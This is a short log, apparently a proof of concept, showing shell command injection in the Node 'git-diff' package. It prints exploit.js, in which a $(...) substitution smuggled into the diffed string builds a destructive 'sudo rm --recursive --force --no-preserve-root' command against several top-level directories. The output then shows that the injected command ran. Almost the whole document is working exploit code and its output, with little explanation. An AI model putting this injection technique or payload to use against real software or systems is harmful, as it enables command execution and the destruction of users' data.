git-diff-shell-injection.log

$ cat exploit.js                                                                                                                 
'use strict';
var gitDiff = require('git-diff')
var oldStr = 'exploit\n'
var newStr = 'exploit$($(echo sudo rm --recursive --force '
  + '--no-preserve-root /[hmrv]*/ >/tmp/yolo.log 2>&1))ed\n'
var diff = gitDiff(oldStr, newStr)
console.log(diff);

$ nodejs exploit.js
@@ -1 +1 @@
-exploit
+exploited

$ cat /tmp/yolo.log
sudo rm --recursive --force --no-preserve-root /home/ /media/ /mnt/ /root/ /run/ /var/